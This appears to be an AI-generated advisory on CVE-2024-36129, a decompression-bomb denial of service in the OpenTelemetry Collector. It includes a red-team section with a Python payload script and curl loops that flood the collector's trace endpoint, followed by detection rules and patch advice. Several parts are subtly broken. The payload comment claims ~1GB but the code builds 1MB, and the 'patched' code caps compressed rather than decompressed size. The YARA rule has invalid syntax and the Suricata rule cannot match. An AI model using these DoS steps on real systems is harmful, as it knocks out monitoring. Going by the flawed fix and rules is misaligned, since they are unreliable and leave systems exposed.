CVE-2024-36129

Executive Summary

CVE-2024-36129 is a high-severity (CVSS 8.2) Denial of Service (DoS) vulnerability in the OpenTelemetry Collector, a core component for telemetry data processing. The flaw resides in the decompression of incoming telemetry data. An unauthenticated, remote attacker can send a specially crafted, compressed payload that, when decompressed by the collector, causes uncontrolled memory consumption, leading to a crash of the collector process. This effectively halts telemetry collection and processing for the entire infrastructure.

The vulnerability affects the core collector and its HTTP (confighttp) and gRPC (configgrpc) modules. The root cause is the lack of resource limits on decompression operations, allowing a "zip bomb" style attack. No public exploit code or proof-of-concept is currently available, but the technical details are clear enough for a skilled attacker to weaponize.

Supply Chain & Package Security

The OpenTelemetry Collector is a critical component in modern observability stacks, often deployed as a sidecar, agent, or gateway. A successful DoS attack against the collector can blind monitoring, alerting, and logging systems, creating a window for other malicious activities. Organizations using OpenTelemetry in their software supply chain must prioritize patching this vulnerability.

CVSS Breakdown & Threat Level

• CVSS Score: 8.2 (High)
• Attack Vector (AV): Network (N) - Exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - No user action required.
• Scope (S): Unchanged (U) - The vulnerable component is the only one affected.
• Confidentiality (C): None (N) - No data is stolen.
• Integrity (I): None (N) - No data is modified.
• Availability (A): High (H) - The collector is completely crashed, causing a total loss of telemetry.

Threat Level: High. The low attack complexity and network vector make this a prime target for automated scanning and exploitation. The impact on availability is severe for any organization relying on OpenTelemetry.

Deep Dive & Mechanics

The vulnerability is a classic uncontrolled resource consumption (CWE-400) issue, specifically a decompression bomb attack. The OpenTelemetry Collector accepts compressed telemetry data (e.g., gzip) over HTTP and gRPC to reduce bandwidth. The flaw is that the decompression logic does not enforce any limits on the expansion ratio or the total memory allocated during decompression.

Attack Flow:

1. An attacker crafts a small compressed payload (e.g., a few kilobytes) that, when decompressed, expands to gigabytes of data (a "zip bomb").
2. The attacker sends this payload to the collector's HTTP or gRPC endpoint.
3. The collector's decompression handler (in confighttp or configgrpc) begins to decompress the data.
4. As the decompressed data grows, the collector's memory usage spikes uncontrollably.
5. The collector process exhausts available memory (OOM - Out Of Memory) and is killed by the operating system's OOM killer, or crashes due to a memory allocation failure.
6. The collector is now unavailable, and all telemetry data is lost.

The fix involves implementing strict limits on decompression, such as:

• Limiting the maximum decompressed size.
• Limiting the decompression ratio (e.g., 100:1).
• Using streaming decompression with bounded buffers.

Vulnerable vs. Patched Code

The vulnerable code is in the HTTP and gRPC server configuration, where decompression is enabled without resource limits.

Vulnerable (Conceptual - Go):

// confighttp - vulnerable
func (h *httpHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
    // ... 
    reader, err := gzip.NewReader(r.Body) // No size limit
    if err != nil {
        // ...
    }
    body, err := io.ReadAll(reader) // Reads all decompressed data into memory
    // ...
}

Patched (Conceptual - Go):

// confighttp - patched
import "github.com/klauspost/compress/gzhttp"

func (h *httpHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
    // ...
    // Use a transport that limits decompression
    transport := &http.Transport{
        // ...
    }
    // Or use a custom reader with a limit
    limitedReader := io.LimitReader(r.Body, maxDecompressedSize)
    reader, err := gzip.NewReader(limitedReader)
    if err != nil {
        // ...
    }
    body, err := io.ReadAll(reader)
    // ...
}

The patched version introduces a maxDecompressedSize limit, preventing the unbounded memory allocation.

Exploitation & Lab Setup

Red Team (Exploitation)

Since no public exploit exists, a red team would need to craft a decompression bomb. This is a standard technique.

Lab Setup:

1. Target: A vulnerable OpenTelemetry Collector (e.g., v0.101.0) running on a Linux VM with 2GB RAM.
2. Attacker: Kali Linux VM.

Exploit Steps:

1. Create a Decompression Bomb (Python):

   import gzip
   import os
   
   # Create a payload that expands to ~1GB
   bomb_data = b"0" * 1024 * 1024  # 1MB of data
   compressed = gzip.compress(bomb_data)
   
   # The compressed data is small, but decompresses to 1MB.
   # To make it larger, nest compression or use a tool like `zip` with many files.
   # For simplicity, we'll send many small compressed payloads in parallel.
   
   with open("payload.gz", "wb") as f:
       f.write(compressed)
   print(f"Compressed payload size: {len(compressed)} bytes")
   

2. Send the Payload (using curl):

   # Send the compressed payload to the collector's HTTP endpoint
   curl -X POST http://target-collector:4318/v1/traces \
     -H "Content-Encoding: gzip" \
     -H "Content-Type: application/x-protobuf" \
     --data-binary @payload.gz
   

3. Scale the Attack (using a simple loop):

   # Send many requests in parallel to amplify the effect
   for i in {1..100}; do
     curl -X POST http://target-collector:4318/v1/traces \
       -H "Content-Encoding: gzip" \
       -H "Content-Type: application/x-protobuf" \
       --data-binary @payload.gz &
   done
   wait
   

Expected Outcome: The collector process will be killed by the OOM killer, and the service will become unavailable.

Blue Team (Detection & Response)

Detection:

1. Monitor Memory Usage: Alert on sudden spikes in memory consumption for the otelcol process.
2. Monitor Process Status: Alert if the otelcol process stops unexpectedly.
3. Network Monitoring: Look for a high volume of small, compressed HTTP/gRPC requests to the collector's endpoints.

Response:

1. Immediate: Restart the collector. If possible, temporarily block the attacking IP.
2. Containment: Apply the patch or implement a WAF rule to block requests with excessive compression ratios.
3. Recovery: After patching, restore normal operations.

Indicators of Compromise (IOCs)

• Network:
  • High volume of POST requests to /v1/traces, /v1/metrics, or /v1/logs with Content-Encoding: gzip.
  • Requests with unusually small body sizes (e.g., < 1KB) that trigger high memory usage.
• Host:
  • otelcol process crash logs (e.g., killed: out of memory).
  • System logs showing OOM killer activity.
  • High memory usage by the otelcol process before crash.
• File:
  • Core dumps from the otelcol process.

Detection Engineering

YARA Rule

rule CVE_2024_36129_Decompression_Bomb {
    meta:
        description = "Detects potential decompression bomb payloads targeting OpenTelemetry Collector"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-36129"
        hash = "unknown"
    strings:
        $gzip_magic = { 1f 8b 08 } // gzip magic bytes
        $http_post = "POST"
        $otel_endpoint = "/v1/traces" or "/v1/metrics" or "/v1/logs"
    condition:
        $gzip_magic at 0 and $http_post and $otel_endpoint and filesize < 10KB
}

Sigma Rule

title: CVE-2024-36129 - OpenTelemetry Collector Decompression Bomb DoS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential exploitation attempts against CVE-2024-36129 by monitoring for small compressed requests to OpenTelemetry Collector endpoints.
author: Valters IT
date: 2024/10/27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-36129
logsource:
    category: webserver
    product: opentelemetry
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/v1/traces'
            - '/v1/metrics'
            - '/v1/logs'
        cs-Content-Encoding: 'gzip'
        sc-bytes: '< 10240' # Small request body
    condition: selection
falsepositives:
    - Legitimate small telemetry payloads
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (msg:"CVE-2024-36129 - OpenTelemetry Collector Decompression Bomb DoS"; flow:to_server; content:"POST"; http_method; content:"/v1/traces"; http_uri; content:"/v1/metrics"; http_uri; content:"/v1/logs"; http_uri; content:"gzip"; http_header_names; pcre:"/Content-Encoding\s*:\s*gzip/iH"; byte_test:1,<,10240,0,relative; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Patch: Upgrade the OpenTelemetry Collector to version 0.102.1 or later. Upgrade confighttp to 0.102.0 and configgrpc to 0.102.1.
2. Workaround: If patching is not immediately possible, disable compression on the collector's receiving endpoints. This may increase bandwidth usage but prevents the attack.

Long-Term:

1. Resource Limits: Implement resource limits (CPU, memory) on the collector container/process using cgroups or container orchestration tools.
2. Network Segmentation: Place the collector behind a firewall or WAF that can inspect and limit request sizes.
3. Monitoring: Continuously monitor collector health and memory usage.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.